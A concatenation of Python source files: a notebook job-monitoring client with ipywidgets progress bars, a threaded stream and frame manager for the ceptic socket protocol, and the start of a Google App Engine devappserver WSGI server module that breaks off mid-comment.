status_label = ipywidgets.Label(str(job_status_dict["status"]))
box = ipywidgets.HBox([ipywidgets.Label(str(job_status_dict["id"])),
ipywidgets.Label(str(job_status_dict["duration"])),
progress, status_label])
progress_bars.append(progress)
status_labels.append(status_label)
boxes.append(box)
def monitor(boxes, progress_bars, status_labels):
while True:
job_status_list = Job.get_all().get_as_dict_list()
num_progress_bars = len(progress_bars)
for index, job_status_dict in enumerate(job_status_list):
if index < num_progress_bars:
if status_labels[index].value == "new":
if job_status_dict["status"] == "new":
continue
progress_bars[index].value = job_status_dict["progress"]
status_labels[index].value = job_status_dict["status"]
elif status_labels[index].value == "cancelled" and job_status_dict["status"] != "cancelled":
progress_bars[index].value = job_status_dict["progress"]
status_labels[index].value = "cancelled"
elif status_labels[index].value == "success" and job_status_dict["status"] != "success":
progress_bars[index].value = job_status_dict["progress"]
status_labels[index].value = "success"
elif status_labels[index].value == "running":
progress_bars[index].value = job_status_dict["progress"]
status_labels[index].value = job_status_dict["status"]
else:
progress = ipywidgets.FloatProgress(value=job_status_dict["progress"], min=0.0, max=1.0)
status_label = ipywidgets.Label(str(job_status_dict["status"]))
box = ipywidgets.HBox([ipywidgets.Label(str(job_status_dict["id"])),
ipywidgets.Label(str(job_status_dict["duration"])),
progress, status_label])
progress_bars.append(progress)
status_labels.append(status_label)
boxes.append(box)
time.sleep(0.5)
job_monitor = ipywidgets.VBox(boxes)
monitor_thread = threading.Thread(target=monitor, args=(boxes, progress_bars, status_labels))
display(job_monitor)
monitor_thread.start()
def _call_api(url: str, apply_func=None) -> Any:
try:
with urllib.request.urlopen(url) as response:
json_obj = json.loads(response.read())
return apply_func(json_obj) if apply_func is not None else json_obj
except urllib.error.HTTPError as e:
print(f"Server error: {e}")
return None
except urllib.error.URLError as e:
print(f"Connection error: {e}")
return None
class Result:
def __init__(self, result_dict: Dict):
self._result_dict = result_dict
def _repr_html_(self):
return self.html_table([self._result_dict])
@classmethod
def html_table(cls, result_dict_list: List[Dict]):
table_rows = []
for result_dict in result_dict_list:
result_group_id = result_dict["result_group_id"]
result_id = result_dict["result_id"]
result_parameter = result_dict["parameter_name"]
table_rows.append(f"<tr>"
f"<td>{result_group_id}</td>"
f"<td>{result_id}</td>"
f"<td>{result_parameter}</td>"
f"</tr>")
table_header = (f"<tr>"
f"<th>Result Group ID</th>"
f"<th>Result ID</th>"
f"<th>Parameter</th>"
f"</tr>")
return (
f"<table>"
f" {table_header}"
f" {''.join(table_rows)}"
f"</table>"
)
class ResultGroup(Result):
def __init__(self, result_dict: Dict):
super().__init__(result_dict)
def _repr_html_(self):
return self.html_table(self._result_dict["results"])
def result(self, parameter: Union[str, int]) -> Result:
for result in self._result_dict["results"]:
if ("result_id" in result and parameter == result["result_id"]) or \
("parameter_name" in result and parameter == result["parameter_name"]):
return Result(result)
class JobStatus:
def __init__(self, job_status_dict: Dict):
self._status_dict = job_status_dict
def _repr_html_(self):
return self.html_table([self._status_dict])
@classmethod
def html_table(cls, job_status_dict_list: List[Dict]):
table_rows = []
for job_status_dict in job_status_dict_list:
job_id = job_status_dict["id"]
job_duration = job_status_dict["duration"]
job_progress = job_status_dict["progress"]
job_status = job_status_dict["status"]
max_width = 200
if job_progress is not None:
width = int(job_progress * max_width)
progress_html = (f"<div style=\"width:{width}px;height:1em;background-color:Aquamarine;\"></div>")
else:
progress_html = f"<div style=\"min-width:{max_width};background-color:LightGray;\">Not started</div>"
table_rows.append(f"<tr>"
f"<td>{job_id}</td>"
f"<td>{job_duration}</td>"
f"<td>{progress_html}</td>"
f"<td>{job_status}</td>"
f"</tr>")
table_header = (f"<tr>"
f"<th>Job ID</th>"
f"<th>Duration</th>"
f"<th>Progress</th>"
f"<th>Status</th>"
f"</tr>")
return (
f"<table>"
f" {table_header}"
f" {''.join(table_rows)}"
f"</table>"
)
class JobStatusList:
def __init__(self, job_status_dict_list: List[Dict]):
self._status_dict_list = job_status_dict_list
def _repr_html_(self):
return JobStatus.html_table(self._status_dict_list)
def get_as_dict_list(self) -> List[Dict]:
return self._status_dict_list
class Job:
def __init__(self, job_id: int):
self._id = job_id
@classmethod
def execute_job(cls, duration: int = 100) -> "Job":
def apply_func(json_obj: Dict):
return Job(json_obj["id"])
return _call_api(JOB_EXECUTE_URL.format(duration=duration), apply_func)
@classmethod
def get_all(cls) -> JobStatusList:
def apply_func(json_obj: Dict):
return JobStatusList(json_obj["jobs"])
return _call_api(JOB_LIST_URL, apply_func)
@classmethod
def num_jobs(cls) -> int:
def apply_func(json_obj: Dict):
return len(json_obj["jobs"])
return _call_api(JOB_LIST_URL, apply_func)
def cancel(self) -> JobStatus:
return _call_api(JOB_CANCEL_URL.format(job_id=self._id), JobStatus)
def result(self, parameter: Union[str, int]) -> Result:
return _call_api(RESULT_URL.format(job_id=self._id, parameter=parameter), Result)
@property
def status(self) -> JobStatus:
return _call_api(JOB_STATUS_URL.format(job_id=self._id), JobStatus)
@property
def progress(self) -> float:
def apply_func(job_status_dict: Dict) -> float:
return job_status_dict["progress"]
return _call_api(JOB_STATUS_URL.format(job_id=self._id), apply_func)
@property
def results(self) -> Optional[ResultGroup]:
return _call_api(JOB_RESULTS_URL.format(job_id=self._id), ResultGroup)
def _repr_html_(self):
return f"<h4>Job #{self._id}</h4>"
|
streammanager.py
|
import uuid
import threading
from time import sleep
from sys import version_info
from collections import deque
from ceptic.common import CepticException, Timer, SafeCounter, CepticResponse
from ceptic.network import select_ceptic, SocketCepticException
from ceptic.encode import EncodeGetter
# for python 2, bind socket.error to ConnectionResetError to avoid NameError
if version_info < (3, 0):
from socket import error as socket_error
ConnectionResetError = socket_error
# enums for StreamFrame type
DATA = "0"
HEADER = "1"
RESPONSE = "2"
KEEP_ALIVE = "3"
CLOSE = "4"
CLOSE_ALL = "5"
# enums for StreamFrame info
CONTINUE = "0"
END = "1"
class StreamException(CepticException):
"""
General Stream Exception, inherits from CepticException
"""
pass
class StreamClosedException(StreamException):
"""
Stream Closed Exception, inherits from StreamException
"""
pass
class StreamHandlerStoppedException(StreamClosedException):
"""
Stream Handler Stopped Exception, inherits from StreamClosedException
"""
pass
class StreamTimeoutException(StreamException):
"""
Stream Timeout Exception, inherits from StreamException
"""
pass
class StreamFrameSizeException(StreamException):
"""
Stream Frame Size Exception, inherits from StreamException
"""
pass
class StreamTotalDataSizeException(StreamException):
"""
Stream Total Data Size Exception, inherits from StreamException
"""
pass
class StreamManager(threading.Thread):
"""
Used for managing a stream of data to and from a socket; input a socket
"""
def __init__(self, s, name, settings, is_server=False, conn_func=None, conn_func_args=None, remove_func=None,
closed_event=None):
threading.Thread.__init__(self)
self.s = s
self.name = name
self.settings = settings
self.is_server = is_server
self.conn_func = conn_func
self.conn_func_args = conn_func_args
self.remove_func = remove_func
self.closed_event = closed_event
# control vars
self.shouldStop = threading.Event()
self.stop_reason = ""
self.send_event = threading.Event()
self.keep_alive_timer = Timer()
self.existence_timer = Timer()
self.isDoneRunning = threading.Event()
self.handler_counter = SafeCounter(0)
# timeouts/delays
self.send_event_timeout = 0.1
self.clean_delay_time = 0.1
self.select_timeout = 0.1
# threads
self.receive_thread = threading.Thread(target=self.receive_frames)
self.receive_thread.daemon = True
self.clean_thread = threading.Thread(target=self.clean_handlers)
self.clean_thread.daemon = True
# StreamHandler dict
self.streams = {}
self.streams_to_remove = deque()
def is_handler_limit_reached(self):
if self.settings["handler_max_count"]:
if self.handler_counter.value >= self.settings["handler_max_count"]:
return True
return False
def get_handler_count(self):
return self.handler_counter.value
def run(self):
# set start time for manager existence timer
self.existence_timer.start()
# set start time for keep alive timer
self.keep_alive_timer.start()
# start receive thread
self.receive_thread.start()
# start clean thread
self.clean_thread.start()
while not self.shouldStop.is_set():
# iterate through streams
ready_to_read = self.send_event.wait(self.send_event_timeout)
if ready_to_read:
self.send_event.clear()
streams = list(self.streams)
for stream_id in streams:
try:
stream = self.get_handler(stream_id)
# if stream not found, must have been deleted; move on to next one
except KeyError:
continue
# while a frame is ready to be sent, send it
while stream.is_ready_to_send() and not self.shouldStop.is_set():
frame_to_send = stream.get_ready_to_send()
# if a SocketCepticException occurs, stop manager
try:
frame_to_send.send(self.s)
except SocketCepticException as e:
self.stop(reason="{},{}".format(type(e), str(e)))
break
# if sent a close frame, close handler
if frame_to_send.is_close():
self.streams_to_remove.append(stream_id)
elif frame_to_send.is_close_all():
self.stop(reason="sending close_all")
break
# update keep alive time; frame sent, so stream must be active
self.keep_alive_timer.update()
# wait for receive and clean threads to close
self.receive_thread.join()
self.clean_thread.join()
# close any remaining headers
self.close_all_handlers()
self.isDoneRunning.set()
self.close_manager()
def clean_handlers(self):
while not self.shouldStop.is_set():
streams = list(self.streams)
# check if stream has timed out
for stream_id in streams:
try:
stream = self.get_handler(stream_id)
# if stream not found, must have been deleted; move on to next one
except KeyError:
continue
if stream.is_timed_out():
self.streams_to_remove.append(stream_id)
continue
# remove timed out streams
while len(self.streams_to_remove):
self.close_handler(self.streams_to_remove.popleft())
sleep(self.clean_delay_time)
self.check_for_timeout()
def receive_frames(self):
while not self.shouldStop.is_set():
ready_to_read, ready_to_write, in_error = select_ceptic([self.s], [], [], self.select_timeout)
# if ready to read, attempt to get frame from socket
for sock in ready_to_read:
# get frame
try:
received_frame = StreamFrame.from_socket(sock, self.settings["frame_max_size"])
except (SocketCepticException, StreamFrameSizeException) as e:
# stop stream if socket unexpectedly closes or sender does not respect allotted max frame size
self.stop(reason="{},{}".format(type(e), str(e)))
continue
# update time for keep alive timer; just received frame, so connection must be alive
self.keep_alive_timer.update()
# if keep_alive, ignore and stop processing; just there to keep connection alive
if received_frame.is_keep_alive():
try:
self.get_handler(received_frame.get_stream_id()).update_keep_alive_timer()
except KeyError:
pass
finally:
continue
# if stream is to be closed, add frame, stop appropriate stream and remove from dict
if received_frame.is_close():
try:
self.get_handler(received_frame.get_stream_id()).add_to_read(received_frame)
except (KeyError, AttributeError):
continue
self.streams_to_remove.append(received_frame.stream_id)
# if all streams are to be closed (including socket), stop all and stop running
elif received_frame.is_close_all():
self.stop("receiving close_all")
break
# if SERVER and if frame of type header, create new stream stream and pass it to conn_handler_func
elif self.is_server and received_frame.is_header():
# if over limit (and limit exists), prepare to close handler after creation
should_decline = False
if self.is_handler_limit_reached():
should_decline = True
# create handler and forward received frame
stream_id = self.create_handler(stream_id=received_frame.get_stream_id())
self.streams[stream_id].add_to_read(received_frame)
# handle in new thread
args = [self.streams[stream_id], self.settings]
args.extend(self.conn_func_args) # add conn_func_args to args list
conn_thread = threading.Thread(target=self.conn_func, args=args)
conn_thread.daemon = True
conn_thread.start()
# close handler if over limit
if should_decline:
try:
self.get_handler(stream_id).send_close()
except KeyError:
continue
else:
try:
self.get_handler(received_frame.get_stream_id()).add_to_read(received_frame)
except KeyError:
continue
def create_handler(self, stream_id=None):
if stream_id is None:
stream_id = str(uuid.uuid4())
self.streams[stream_id] = StreamHandler(stream_id=stream_id, settings=self.settings, send_event=self.send_event)
self.handler_counter.increment(1) # add to handler_counter
return stream_id
def close_handler(self, stream_id):
# stop appropriate stream and remove from dict
stream = self.streams.get(stream_id, None)
if stream:
stream.stop()
self.streams.pop(stream_id)
self.handler_counter.decrement(1) # subtract from handler_counter
def close_all_handlers(self):
# close all handlers currently stored in streams dict
stream_ids = list(self.streams)
for stream_id in stream_ids:
self.close_handler(stream_id)
def get_handler(self, stream_id):
# throws KeyError if stream not found
return self.streams[stream_id]
def check_for_timeout(self):
# if timeout past stream_timeout setting, stop manager
if self.keep_alive_timer.get_time() > self.settings["stream_timeout"]:
self.stop("manager timed out")
def stop(self, reason=""):
if reason and not self.shouldStop.is_set():
self.stop_reason = reason
self.shouldStop.set()
def is_stopped(self):
return self.shouldStop.is_set() and self.isDoneRunning.is_set()
def wait_until_not_running(self):
self.isDoneRunning.wait()
def close_manager(self):
if self.is_server:
self.closed_event.set()
else:
self.remove_func(self.name)
@classmethod
def client(cls, socket, name, settings, remove_func):
return cls(s=socket, name=name, settings=settings, remove_func=remove_func)
@classmethod
def server(cls, socket, name, settings, conn_func, conn_func_args, closed_event):
return cls(s=socket, name=name, settings=settings, is_server=True,
conn_func=conn_func, conn_func_args=conn_func_args, closed_event=closed_event)
class StreamHandler(object):
def __init__(self, stream_id, settings, send_event):
self.stream_id = stream_id
self.settings = settings
self.send_event = send_event
# event for stopping stream
self.shouldStop = threading.Event()
self.change_id = None
# event for received frame
self.read_or_stop_event = threading.Event()
# deques to store frames
self.frames_to_send = deque()
self.frames_to_read = deque()
# buffer sizes
self.send_buffer_counter = SafeCounter(0)
self.read_buffer_counter = SafeCounter(0)
# events for awaiting decrease of buffer size
self.send_buffer_ready_or_stop = threading.Event()
self.read_buffer_ready_or_stop = threading.Event()
self.buffer_wait_timeout = 0.1
# handler existence timer
self.existence_timer = Timer()
self.existence_timer.start()
# keep_alive timer
self.keep_alive_timer = Timer()
self.keep_alive_timer.start()
# compression
self._encoder = None
self.set_encode(None)
# StreamFrameGen
self.stream_frame_gen = StreamFrameGen(self)
@property
def frame_size(self):
return self.settings["frame_max_size"]
@property
def max_header_size(self):
return self.settings["headers_max_size"]
@property
def timeout(self):
return self.settings["stream_timeout"]
@property
def send_buffer_limit(self):
return self.settings["send_buffer_size"]
@property
def read_buffer_limit(self):
return self.settings["read_buffer_size"]
@property
def encoder(self):
return self._encoder
def set_encode(self, name):
self._encoder = EncodeGetter.get(name)
def stop(self):
self.read_or_stop_event.set()
self.send_buffer_ready_or_stop.set()
self.read_buffer_ready_or_stop.set()
self.shouldStop.set()
def is_stopped(self):
if self.shouldStop.is_set():
self.read_or_stop_event.set()
return self.shouldStop.is_set()
def is_timed_out(self):
# if timeout past stream_timeout setting, stop handler
if self.keep_alive_timer.get_time() > self.settings["stream_timeout"]:
return True
return False
def update_keep_alive_timer(self):
self.keep_alive_timer.update()
def is_send_buffer_full(self):
return self.send_buffer_counter.value > self.send_buffer_limit
def is_read_buffer_full(self):
return self.read_buffer_counter.value > self.read_buffer_limit
def send_close(self, data=""):
"""
Send a close frame with optional data content and stop handler
:param data: optional string containing reason for closing handler
:return: None
"""
try:
self.send(StreamFrame.create_close(self.stream_id, data=data))
except StreamHandlerStoppedException:
pass
self.stop()
def send(self, frame):
"""
Adds frame to send queue
:param frame: StreamFrame instance
"""
if self.is_stopped():
raise StreamHandlerStoppedException("handler is stopped; cannot send frames through a stopped handler")
self.keep_alive_timer.update()
frame.data = self.encoder.encode(frame.get_data().encode())
# check if enough room in buffer
self.send_buffer_counter.increment(frame.get_size())
if self.is_send_buffer_full():
# wait until buffer is decreased enough to fit new frame
self.send_buffer_ready_or_stop.clear()
while self.is_send_buffer_full() and not self.is_stopped():
ready = self.send_buffer_ready_or_stop.wait(self.buffer_wait_timeout)
if ready:
break
self.frames_to_send.append(frame)
self.send_event.set()
def sendall(self, frames):
"""
Send all frames
:param frames: iterable collection of frames
:return: None
"""
for frame in frames:
self.send(frame)
def send_data(self, data, is_first_header=False, is_response=False):
"""
Send all data in data parameter
:param data:
:param is_first_header:
:param is_response:
:return:
"""
self.sendall(self.stream_frame_gen.from_data(data, is_first_header, is_response))
def send_response(self, response):
self.send_data(response.get_data(), is_response=True)
def send_file(self, file_object):
"""
Send all data in file_object
:param file_object: readable file instance
:return: None
"""
self.sendall(self.stream_frame_gen.from_file(file_object))
def get_file(self, file_object, timeout=None, max_length=None):
"""
Get all data into a file
:param file_object: writable file instance
:param timeout: optional timeout
:param max_length: optional max length of file to receive
:return: None
"""
gen = self.gen_full_data(timeout=timeout, max_length=max_length)
for data in gen:
file_object.write(data)
def add_to_read(self, frame):
"""
Adds frame to receive queue
:param frame: StreamFrame instance
:return: None
"""
self.keep_alive_timer.update()
# check if enough room in buffer
self.read_buffer_counter.increment(frame.get_size())
if self.is_read_buffer_full():
# wait until buffer is decreased enough to fit new frame
self.read_buffer_ready_or_stop.clear()
while self.is_read_buffer_full() and not self.is_stopped():
ready = self.read_buffer_ready_or_stop.wait(self.buffer_wait_timeout)
if ready:
break
self.frames_to_read.append(frame)
self.read_or_stop_event.set()
def get_next_frame(self, timeout=None):
if timeout is None:
timeout = self.settings["stream_timeout"]
expect_frame = True
# if timeout is 0, then block and wait to get next frame
if timeout == 0:
if not self.is_ready_to_read() and not self.is_stopped():
# wait for read_or_stop_event
self.read_or_stop_event.wait(None)
# clear read event
self.read_or_stop_event.clear()
# if negative time do not block and immediately return
elif timeout < 0:
expect_frame = False
# wait up to specified time; if no frame received by then, return
else:
triggered = True
if not self.is_ready_to_read() and not self.is_stopped():
# wait for read event
triggered = self.read_or_stop_event.wait(timeout)
# clear read event
if triggered:
self.read_or_stop_event.clear()
# if handler is stopped and no frames left to read, raise exception
if self.is_stopped() and not self.is_ready_to_read():
raise StreamHandlerStoppedException("handler is stopped; cannot receive frames")
# get frame
frame = self.get_ready_to_read(expect_frame=expect_frame)
# if frame is None and not expecting frame to be returned, return the None frame
if not frame:
return frame
# decompress frame data
frame.data = self.encoder.decode(frame.get_data())
# if a close frame, raise exception
if frame.is_close():
raise StreamClosedException(frame.get_data())
return frame
def get_full_data(self, timeout=None, max_length=None, decode=True, convert_response=False):
"""
Returns combined data (if applicable) for continued frames until an end frame is encountered,
or a CepticResponse instance
:param timeout: optional timeout time (uses stream_timeout setting by default)
:param max_length: optional max length; allows throwing StreamTotalDataSizeException if exceeds limit
:param decode: optional decode toggle; returns bytes if false, string if true (default), unless CepticResponse
:param convert_response: optional CepticResponse toggle; if true (default), will convert data to CepticResponse
if any frames encountered are of type RESPONSE
:return: string, bytes, or CepticResponse instance
"""
if timeout is None:
timeout = self.settings["stream_timeout"]
frames = []
total_length = 0
frame_generator = self.gen_next_frame(timeout)
is_response = False
for frame in frame_generator:
if not frame:
break
# add data
frames.append(frame.get_data())
total_length += len(frame.get_data())
if max_length and total_length > max_length:
raise StreamTotalDataSizeException("total data received has surpassed max_length of {}".format(
max_length))
if frame.is_response():
is_response = True
if frame.is_last():
break
# decompress data
if version_info < (3, 0): # Python2 code
full_data = "".join(frames)
if convert_response and is_response:
return CepticResponse.from_data(full_data)
return full_data
else: # Python3 code
full_data = bytes().join(frames)
if convert_response and is_response:
return CepticResponse.from_data(full_data.decode())
if decode:
return full_data.decode()
return full_data
def get_full_header_data(self, timeout=None):
# length should be no more than allowed header size and max 128 command, 128 endpoint, and 2 \r\n (4 bytes)
return self.get_full_data(timeout, self.max_header_size + 128 + 128 + 4, convert_response=False)
def get_data(self, timeout=None, max_length=None, decode=True):
"""
Returns combined data (if applicable) for continued frames until an end frame is encountered,
or a CepticResponse instance
:param timeout: optional timeout time (uses stream_timeout setting by default)
:param max_length: optional max length; allows throwing StreamTotalDataSizeException if exceeds limit
:param decode: optional decode toggle; returns bytes if false, string if true (default), unless CepticResponse
:return: string, bytes, or CepticResponse instance
"""
return self.get_full_data(timeout, max_length, decode, convert_response=True)
def get_full_frames(self, timeout=None, max_length=None):
"""
Returns list of frames (if applicable) for continued frames until an end frame is encountered
"""
if timeout is None:
timeout = self.settings["stream_timeout"]
frames = []
total_data = 0
frame_generator = self.gen_next_frame(timeout)
for frame in frame_generator:
if not frame:
break
# add data
frames.append(frame)
total_data += len(frame.get_data())
if max_length and total_data > max_length:
raise StreamTotalDataSizeException("total data received has surpassed max_length of {}".format(
max_length))
if frame.is_last():
break
return frames
def gen_next_frame(self, timeout=None):
while True:
yield self.get_next_frame(timeout=timeout)
def gen_next_data(self, timeout=None):
while True:
frame = self.get_next_frame(timeout=timeout)
if not frame:
break
yield frame.data
def gen_full_data(self, timeout=None, max_length=None):
"""
Generator for getting data frame-by-frame until an end frame is encountered
:param timeout: optional timeout time (uses stream_timeout setting by default)
:param max_length: optional max length; allows throwing exception if exceeds limit
:return: string instance
"""
if timeout is None:
timeout = self.settings["stream_timeout"]
total_length = 0
frame_generator = self.gen_next_frame(timeout)
for frame in frame_generator:
if not frame:
break
# add data
yield frame.get_data()
total_length += len(frame.get_data())
if max_length and total_length > max_length: # len(full_data) > max_length:
raise StreamTotalDataSizeException("total data received has surpassed max_length of {}".format(
max_length))
if frame.is_last():
break
def gen_next_full_data(self, timeout=None, max_length=None):
while True:
yield self.get_full_data(timeout=timeout, max_length=max_length)
def gen_next_full_frames(self, timeout=None, max_length=None):
while True:
yield self.get_full_frames(timeout=timeout, max_length=max_length)
def is_ready_to_send(self):
"""
Returns if a frame is ready to be sent
:return: boolean corresponding to if a frame is ready to be sent
"""
return len(self.frames_to_send) > 0
def is_ready_to_read(self):
"""
Returns if a frame is ready to be read
:return: boolean corresponding to if a frame is ready to be read
"""
if len(self.frames_to_read) > 0:
self.read_or_stop_event.set()
return len(self.frames_to_read) > 0
def get_ready_to_send(self):
"""
Return latest frame to send; pops frame id from frames_to_send deque
:return: latest StreamFrame to send
"""
frame = None
try:
frame = self.frames_to_send.popleft()
return frame
except IndexError:
return None
finally:
# if frame was taken from deque, decrement deque size
if frame:
self.send_buffer_counter.decrement(frame.get_size())
# flag that send buffer is not full, if currently awaiting event
if not self.send_buffer_ready_or_stop.is_set() and not self.is_send_buffer_full():
self.send_buffer_ready_or_stop.set()
def get_ready_to_read(self, expect_frame=False):
"""
Return latest frame to read; pops frame id from frames_to_read deque
:return: latest StreamFrame to read
"""
frame = None
try:
frame = self.frames_to_read.popleft()
return frame
except IndexError:
# workaround for weird Python2 issue, where deque may return positive length before item is readable
if version_info < (3, 0) and expect_frame:
# item should be readable shortly, so keep trying to get it
while True:
try:
frame = self.frames_to_read.popleft()
return frame
except IndexError:
pass
return None
finally:
# if frame was taken from queue, decrement deque size
if frame:
self.read_buffer_counter.decrement(frame.get_size())
# flag that read buffer is not full, if currently awaiting event
if not self.read_buffer_ready_or_stop.is_set() and not self.is_read_buffer_full():
self.read_buffer_ready_or_stop.set()
class StreamFrameGen(object):
__slots__ = ("stream", "_frame_size")
def __init__(self, stream):
self.stream = stream
self._frame_size = 0
self.frame_size = self.stream.frame_size // 2
@property
def frame_size(self):
return self._frame_size
@frame_size.setter
def frame_size(self, size):
self._frame_size = size
@property
def stream_id(self):
return self.stream.stream_id
def from_file(self, file_object):
"""
Generator for turning contents of file into frames
:param file_object: readable file instance
:return: StreamFrame instance of type data
"""
# get current chunk
curr_chunk = file_object.read(self.frame_size)
if not curr_chunk:
return
while True:
# get next chunk from file
next_chunk = file_object.read(self.frame_size)
# if nothing was left to read, yield last frame with current chunk
if not next_chunk:
yield StreamFrame.create_data_last(self.stream_id, curr_chunk)
break
# otherwise, yield continued frame with current chunk
yield StreamFrame.create_data_continued(self.stream_id, curr_chunk)
# next chunk becomes current chunk
curr_chunk = next_chunk
def from_data(self, data, is_first_header=False, is_response=False):
"""
Generator for turning contents of file into frames
:param data: string or byte array
:param is_first_header: boolean
:param is_response: boolean
:return: StreamFrame instance of type data
"""
if not data:
return
i = 0
while True:
# get chunk of data
chunk = data[i:i + self.frame_size]
# iterate chunk's starting index
i += self.frame_size
# if next chunk will be out of bounds, yield last frame
if i >= len(data):
if is_first_header:
is_first_header = False
yield StreamFrame.create_header_last(self.stream_id, chunk)
else:
if is_response:
is_response = False
yield StreamFrame.create_response_last(self.stream_id, chunk)
else:
yield StreamFrame.create_data_last(self.stream_id, chunk)
return
# otherwise yield continued frame
if is_first_header:
is_first_header = False
yield StreamFrame.create_header_continued(self.stream_id, chunk)
else:
if is_response:
is_response = False
yield StreamFrame.create_response_continued(self.stream_id, chunk)
else:
yield StreamFrame.create_data_continued(self.stream_id, chunk)
class StreamFrame(object):
"""
Class for storing data for a frame in a stream
"""
__slots__ = ("stream_id", "type", "info", "data")
null_id = "00000000-0000-0000-0000-000000000000"
def __init__(self, stream_id=None, frame_type=None, frame_info=None, data=""):
self.stream_id = stream_id
self.type = frame_type
self.info = frame_info
self.data = data
def get_stream_id(self):
"""
Getter for stream_id
"""
return self.stream_id
def get_type(self):
"""
Getter for type
"""
return self.type
def get_info(self):
"""
Getter for info
"""
return self.info
def get_data(self):
"""
Getter for data
"""
return self.data
def get_size(self):
"""
Size getter - streamId, type, info, data
:return: int size of total bytes
"""
return 38 + len(self.data)
def set_to_header(self):
"""
Change type to header frame
:return: None
"""
self.type = HEADER
def set_to_response(self):
"""
Change type to response frame
:return: None
"""
self.type = RESPONSE
def set_to_data(self):
"""
Change type to data frame
:return: None
"""
self.type = DATA
def send(self, s):
"""
Send frame through socket instance
:param s: SocketCeptic instance
:return: None
"""
# send stream id
s.send_raw(self.stream_id)
# send type
s.send_raw(self.type)
# send info
s.send_raw(self.info)
# send data if data is set
if self.data:
s.sendall(self.data)
else:
s.send_raw(format(0, ">16"))
def is_header(self):
"""
Checks if instance of frame is header type
:return: bool
"""
return self.type == HEADER
def is_response(self):
"""
Checks if instance of frame is response type
:return: bool
"""
return self.type == RESPONSE
def is_data(self):
"""
Checks if instance of frame is data type
:return: bool
"""
return self.type == DATA
def is_last(self):
"""
Checks if instance of frame is last (or only) part of data
:return: bool
"""
return self.info == END
def is_continued(self):
"""
Checks if instance of frame is continued
:return: bool
"""
return self.info == CONTINUE
def is_data_last(self):
"""
Checks if instance of frame is data type and last (or only) part of data
:return: bool
"""
return self.is_data() and self.is_last()
def is_data_continued(self):
"""
Checks if instance of frame is data type and is the first (or continuation) of a complete dataset
:return: bool
"""
return self.is_data() and self.is_continued()
def is_keep_alive(self):
"""
Checks if instance of frame is keep_alive type
:return: bool
"""
return self.type == KEEP_ALIVE
def is_close(self):
"""
Checks if instance of frame is close type
:return: bool
"""
return self.type == CLOSE
def is_close_all(self):
"""
Checks if instance of frame is close_all type
:return: bool
"""
return self.type == CLOSE_ALL
@classmethod
def from_socket(cls, s, max_data_length):
"""
Receives frame using socket and returns created instance of frame
:param s: SocketCeptic instance
:param max_data_length: int representing maximum allowed data size of frame
:return: StreamFrame instance
"""
# get stream id
stream_id = s.recv_raw(36)
# get type
frame_type = s.recv_raw(1)
# get info
frame_info = s.recv_raw(1)
# get data_length
raw_data_length = None
try:
raw_data_length = str(s.recv_raw(16))
data_length = int(raw_data_length.strip())
except ValueError:
raise StreamFrameSizeException("received data_length could not be converted to int: {},{},{},{}".format(
stream_id, frame_type, frame_info, raw_data_length))
# if data_length greater than max length, raise exception
if data_length > max_data_length:
raise StreamFrameSizeException("data_length ({}) greater than allowed max length of {}".format(
data_length,
max_data_length)
)
# if data_length not zero, get data
data = ""
if data_length > 0:
data = s.recv_raw(data_length, decode=False)
return cls(stream_id, frame_type, frame_info, data)
@classmethod
def create_header(cls, stream_id, data, frame_info=END):
"""
Returns frame initialized as header type; defaults to last frame
:return: StreamFrame instance
"""
return cls(stream_id, HEADER, frame_info, data)
@classmethod
def create_header_last(cls, stream_id, data):
"""
Returns frame initialized as header type, end
:return: StreamFrame instance
"""
return cls(stream_id, HEADER, END, data)
@classmethod
def create_header_continued(cls, stream_id, data):
"""
Returns frame initialized as header type, continue
:return: StreamFrame instance
"""
return cls(stream_id, HEADER, CONTINUE, data)
@classmethod
def create_response(cls, stream_id, data, frame_info=END):
"""
Return frame initialized as response type; defaults to last frame
:return: StreamFrame instance
"""
return cls(stream_id, RESPONSE, frame_info, data)
@classmethod
def create_response_last(cls, stream_id, data):
"""
Return frame initialized as response type, end
:return: StreamFrame instance
"""
return cls(stream_id, RESPONSE, END, data)
@classmethod
def create_response_continued(cls, stream_id, data):
"""
Return frame initialized as response type, continue
:return: StreamFrame instance
"""
return cls(stream_id, RESPONSE, CONTINUE, data)
@classmethod
def create_data(cls, stream_id, data, frame_info=END):
"""
Returns frame initialized as data type; defaults to last frame
:return: StreamFrame instance
"""
return cls(stream_id, DATA, frame_info, data)
@classmethod
def create_data_last(cls, stream_id, data):
"""
Returns frame initialized as data type, end
:return: StreamFrame instance
"""
return cls(stream_id, DATA, END, data)
@classmethod
def create_data_continued(cls, stream_id, data):
"""
Returns frame initialized as data type, continue
:return: StreamFrame instance
"""
return cls(stream_id, DATA, CONTINUE, data)
@classmethod
def create_keep_alive(cls, stream_id):
"""
Returns frame initialized as keep_alive type
:return: StreamFrame instance
"""
return cls(stream_id, KEEP_ALIVE, END)
@classmethod
def create_close(cls, stream_id, data=""):
"""
Returns frame initialized as close type
:return: StreamFrame instance
"""
return cls(stream_id, CLOSE, END, data)
@classmethod
def create_close_all(cls):
"""
Returns frame initialized as close_all type
:return: StreamFrame instance
"""
return cls(StreamFrame.null_id, CLOSE_ALL, END)
|
wsgi_server.py
|
#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""A WSGI server implementation using a shared thread pool."""
from builtins import range
from builtins import object
import collections
import errno
import six.moves.http_client
import logging
import select
import socket
import threading
import time
import google
from cherrypy import wsgiserver
from google.appengine.tools.devappserver2 import errors
from google.appengine.tools.devappserver2 import http_runtime_constants
from google.appengine.tools.devappserver2 import thread_executor
from six.moves import range
_HAS_POLL = hasattr(select, 'poll')
# TODO: the only reason we need to timeout is to pick up added or remove
# descriptors. But AFAICT, we only add descriptors at startup and remove them at
# shutdown so for the bulk of the run, the timeout is useless and just simply
# wastes CPU. For startup, if we wait to start the thread until after all
# WSGI servers are created, we are good (although may need to be careful in the
# runtime instances depending on when servers are created relative to the
# sandbox being enabled). For shutdown, more research is needed (one idea is
# simply not remove descriptors as the process is about to exit).
_READINESS_TIMEOUT_SECONDS = 1
_SECONDS_TO_MILLISECONDS = 1000
# Due to reports of failure to find a consistent port, trying a higher value
